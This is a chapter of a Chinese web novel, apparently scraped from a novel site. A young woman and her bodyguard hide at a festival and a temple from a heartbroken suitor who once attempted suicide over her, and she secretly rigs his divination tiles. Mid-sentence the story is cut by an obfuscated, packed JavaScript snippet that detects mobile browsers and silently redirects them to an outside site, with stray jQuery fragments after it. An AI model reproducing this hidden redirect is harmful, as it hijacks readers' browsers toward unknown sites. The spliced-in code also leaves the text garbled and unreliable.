默认冷灰
24号文字
方正启体

21. 21.靶之脱,谀以善

作者:晒裈花下本书字数:K更新时间:
    1.


    什么叫“命中注定”?


    当我看见她避之唯恐不及的两人坐在一处观灯,在个低头就能看见她的地方,不得不感慨上天待妙霰不薄——你就躲吧,躲去天涯海角,欠下的债还能找到你。


    这回妙霰可谓闻风丧胆,连知会后丘和宝柳顾不上,猫着腰捂着面具带我跑下了桥。佳节之夜,四处灯火通明,重重叠叠的影子鬼缠步似地跟着她奔跑的身影,她越跑越快,玩命儿一般。


    我看不下去了,一把将她拉住,带她去罕有灯光的堤坡上坐着。


    “甭跑了,仔细你的心肺。”我身边传来狗似的狂喘气声,饶是如此她仍不肯摘下面具,“你都装扮成这样了,就是妙将军来了都不认得,慌什么?”


    “他、他俩怎么都在?”妙霰道,“龙文贲那么、介意张处麒……怎又、又和他……”


    我想说十年前龙文贲和张处麒就是好朋友了,哥俩儿认识甚至比你还早,当初你还是学着龙文贲的样子叫张处麒“麒哥哥”的,我都记得,她早忘了。


    “龙家根基本就在苍羊府,因龙行史统筹海防之责,才在冯台建了家宅。龙文贲则纯粹是为了找你玩,才赖在冯台不走的。”我解释道。


    妙霰沮丧地叉着腿摊着脚,又心存侥幸地问:“龙文贲还有心思看灯会,是不是他心病好了?缓过来了?”


    “是吧,既然缓过来了,见到你也没事。”


    妙霰听我这么说,又打退堂鼓了:“现在是好的,没准儿见到我,病又发了。”


    我看她畏畏缩缩的小样一如既往,算是确信她没什么进步,至少在感情问题上,远没有长出应有的担当。


    有些话我老早就想说了,碍于琐事接二连三发生,直到现在才找到机会。


    “你不喜欢龙文贲,直说就好,为何非要躲着?自尽是他的冲动之举,我不认为你该负责,但纵然他不是心上人,也是你的朋友吧?


    “一向真诚待你的朋友,因你的无心之失伤了感情,你是不是应该安慰一下?”


    “我怎么安慰,最大的安慰就是娶他!”妙霰叫道。


    “不是娶他,而是告诉他,从前都是以朋友身份相处,你还没想好娶亲的事,如果他有嫁给你的想法,你们可以慢慢培养感情。”我谆谆地引导,“就算日后不娶他,你们的心结还在那,难道从此见了对方就躲出去?”


    逃避是解决不了任何问题的。


    “哎呀,可久,你还是不懂我。”妙霰的语气听上去快死了,“我躲他还是轻的,我都甘愿躲他一辈子了。他太不拿自己当回事……我以前也知道他不拿自己当回事,否则第一次让他扮演张处麒他就拒绝了……那时只是在玩耍,现在,现在却是生死攸关的事……”


    我以护卫应有的职业素养,从她吞吞吐吐欲言又止的话语中,嗅出了一丝恐惧的味道。


    “你害怕了,”我打量着她,“其实龙文贲这招用对了,你就是怕他以死相迫,他再迫一次,你就不得不从了?”


    “不是,不是!”她现在恼羞成怒到否定一切,“我才不会做违心之举!我负担不起那么强烈的爱!他疯了,和他在一起我也会疯的,总之现在不是见他的时机。”


    我戳破她的伪装:“得了吧,不就是不想负责任,只想享受他对你言听计从。别找托词了,就是你心虚、胆小,不敢面对过错。”


    妙霰气道:“我不是!”


    果然现在并非带她回家的良机。我的宅子还在遥远的地方看着我,换成以前我会失落,但如今莫名其妙地有点开心。


    我对着夜风深吸一口气,如果不是妙霰将我拉走,今夜站在桥上吹风该有多惬意啊。


    “慢慢来吧,反正他们没发现你,你也当没看见他们,该吃就吃,该玩就玩。”


    我拉着垂头丧气的妙霰往回走。她慌不择路时跑出去太远,返程路都快走不动了。后丘和宝柳发觉我们消失,却不知去哪里找我们,只好等在旅馆门口,我们脸上都带着面具,把他们搞的莫名其妙的。


    和妙霰回到房间后,我才感觉疲惫,不管妙霰絮絮叨叨地演说着什么,搂着枕头很快就进入了梦乡。


    大概白日被她折磨久了,我竟然梦见妙霰被两个男孩儿逮了正着,龙文贲扯她左手,张处麒扯她右手,都要拉她入洞房。


    我在一旁看得呵呵直笑,妙霰却对我喊道:“可久,你得救我!忠诚护卫就该以身报主!”我顿时感觉双腕发紧,低头一看,她那衣裳不知何时换到我身上来了,两个小哭丧脸正拉着我的左右手,欲将我两马分尸!


    贺四儿也来护主,挤眉弄眼地叫我小姐,却叫妙霰“可久”,他跟着心满意足的妙霰,一路“可久”“可久”地叫着走远了。


    “可久,可久……”


    耳边充斥着叫声,令我忍无可忍。


    “我才是可久!你们瞎了吗?”


    我冷不丁坐起身来,见妙霰瞪着眼睛瞅我。


    “你发什么神经,打到我了!”


    我连忙向她道歉,说是梦魇着了,妙霰气呼呼道:“本来还想带你去个好地方,算了,我自己去!”


    这祖宗又在搞什么事啊!我连忙汲上鞋子,追了出去。


    ——


    2.


    此时天刚蒙蒙亮,昨夜的热闹已经散作寥落,通宵欢庆的人们尚未苏醒。妙霰为求谨慎,还是戴上面具,并要求我也戴上。


    “什么地方,非要大清早去?”


    她抱怨道:“这时候才没人啊!我昨晚翻来覆去睡不着,窗外又是欢呼、又是烟花、又是唱戏……身边还有你的呼噜。反正也失眠,我就胡思乱想,倒让我想起一件事来。”


    我问什么事,她说,从前将军告诉她,苍羊府有座真嫄庙非常灵验,可于殿前进香占卜。


    “我想问问神明,这件事有没有完?”妙霰道,“我是不是可以一辈子不结婚?”


    想不结婚就回去和家里摊牌啊,还占卜?不就还是妄图心安理得逃避责任吗?我打着呵欠跟在她身后,悼念我短命的睡眠。


    庙宇外头卖香的还没来,我就去野地里捡来几根燃剩的给她,妙霰嫌弃道:“看着心就不诚,能灵吗?”


    “总比没有好吧?”我道,“这是开胃小菜,你还想把神一口气喂饱了?别人的香火还吃不吃?”


    我催促她赶紧操作,早点回去,我还能睡个回笼觉。纵然万般不情愿,妙霰还是拿着香去里头跪着了。


    无论发愿还是占卜,按规矩是不许旁人在的,我留在院里四处溜达,偶尔向庙中一望。妙霰还直挺挺地跪着,念念有词地说些什么,我听不见,很快就感到无聊。


    “若问出神意,你便放宽了心,再也不想了吧?”


    我忽然听到一阵交谈声从身后传来,认真听了两句,不禁被吓得魂飞魄散,抓起面具扣在脸上,冲入庙内,隔着门缝向外张望。


    什么叫“命中注定”啊?难道半截香真的惹恼了神明,竟让妙霰愈发困蹇,院子里互相搀扶缓缓而来的两人,不是龙文贲和张处麒又是谁?


    苍羊府不小啊,怎么就处处都躲不过!我连忙跑过去拉妙霰:“快藏起来,他们来了!”


    “谁?”妙霰回头,看见那两个人,登时双腿发软,瘫软成泥,我手忙脚乱地将她拖走,一边把面具糊在她脸上。


    “藏后面,藏后面!”我和妙霰伛偻提携、连滚带爬藏到神像后,两人已在门外站定了,对话清晰得似在耳畔。


    “你陪着我吗?”是龙文贲的声音。


    “按规矩谁也不能陪,陪着就不灵了,你别怕,我就在外头等你。”这是张处麒的声音。


    门“吱呀”一声被推开,我和立即妙霰憋着气往一处缩去。脚步声停在离我们五步远的地方,妙霰刚才抛了还来不及看结果的玉瓦,在我们逃难


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353124|183580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中被踢到一边,被龙文贲捡了起来。他还把香案上插着的半截香拔了,扔到一旁,我开始庆幸,还好是用过的香,妙霰都没点着,否则就露馅了。


    一阵诡异的沉默后,香味儿终于袅袅地散开,我听见龙文贲调整蒲团的声音,探头看了一眼,龙文贲正在磕头,他身后的门半掩着,想神不知鬼不觉地溜出去,看来是不可能了。


    我再转头看妙霰,她双手死死按着面具,腿脚抖个不停——强冲出去也不可能了。


    “神明在上,信徒乃龙家男儿,不久前依家长做主,与心爱女子约为婚姻。未婚妻主似乎对信徒不满,抛弃约定,离家去也。信徒无奈,只好斗胆希求神明点醒顽石,吹散迷雾——信徒的未婚妻主是否还会回来?我们还能否相见?”


    他磕了个头,把玉瓦向地上掷去。好像有些心虚,不敢睁眼看,又接着念叨:“信徒不敢欺瞒神明,婚约是信徒以死相迫求来的,但未婚妻主与信徒多年好友,信徒从小就将心交给了她……”


    我和妙霰没心思听他的自白,飞快探头看向玉瓦的卦象,又飞快缩回。答案是非常绝对的否定,妻主回不来,两人见不到。鼓起勇气睁眼的龙文贲简直要哭出来。


    “她不打算回来了对不对?她生了我的气,再也不肯理会我了。”龙文贲说到伤心处,呜呜咽咽地流下眼泪,“我一向也知道她喜欢麒哥哥,麒哥哥也说,他和妹妹相谈甚欢,堪称知己……”


    瞅你造的孽吧。我埋怨地看向妙霰,雨婆的面具上是一副莫不如死的神情。


    “信徒不管旁人了,只问一句,妹妹心中,可有我的一席之地吗?哪怕只有一点点也好……”


    他又在求卦,抛瓦后仍自抹泪,并不敢看,我和妙霰故技重施,迅速探头查看,又缩回去。


    又是一个绝对的否定,别说他了,妙霰都苦恼地把面具捂住了。


    “啊啊啊啊啊……”身后传来龙文贲绝望的悲哭。


    这可怎么办?真嫄神真是直性子啊,有话直说,都不肯拐弯抹角的。


    “原来妹妹心中一点都没有我,那我这些年都在自我欺骗吗?我对她的爱又算什么……”


    龙文贲泣不成声,抽抽噎噎地对神明诉苦,而神明无情,只会对他抛去绝对的否定,最终,他又问道:“我总觉得难过,也想过最坏的结果,可纵然跳河,也只是引起她一丝怜悯,不爱我就是不爱我。神明,信徒还有最后一个问题耿耿于怀……”


    他顿了顿,道:“我还能挺过去吗?我能忘了她,重新开始,不去想那些轻生之事吗?”


    这小孩被妙霰折磨傻了吧?我实在不知这问题有何占卜必要。龙文贲从小就不够聪明,如今更没主意,他第三次抛出了玉瓦。


    在玉石的跳动声中,我再次探头,好嘛,又是否定!这玩意坏了吧,是不是只会出否定!让龙文贲看见了,他要怎么想?


    妙霰也看见了结果,愣了愣神,在龙文贲起身前,她竟然按紧面具,冲了出去。


    我以为她又要逃跑,还想跟着一起跑,然而她在神像前站住了脚,手还死死按着面具,胸膛剧烈起伏着。


    我以为她终于要坦诚相待,好好同龙文贲谈谈了,然而她缓缓开步,举起双臂拉了个架势,像节日香车上舞蹈的雨婆那样,自顾自地踏着节拍舞了起来。


    我惊愕地看着她挥舞着满是补丁的袖子,在一连串的旋转间乌发飞扬,随姿态变幻逐渐蹲矮双腿,用几乎拙劣的方式掩饰手部动作,飞快将玉瓦拨正,又若无其事地旋转而起。


    我看呆了,龙文贲也看呆了,痴痴地唤了声“雨婆”,她当即停下,夺门而出,我也按着面具紧随其后。


    妙霰再一次逃出了那夜的神速。我们路过惊愕起身的张处麒,路过卖香的摊位,路过许许多多晨起进愿的信徒,妙霰简直要化成逆流拂过一切的风,吹到没有人认识她的地方,追得我气喘吁吁,心跳如鼓。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)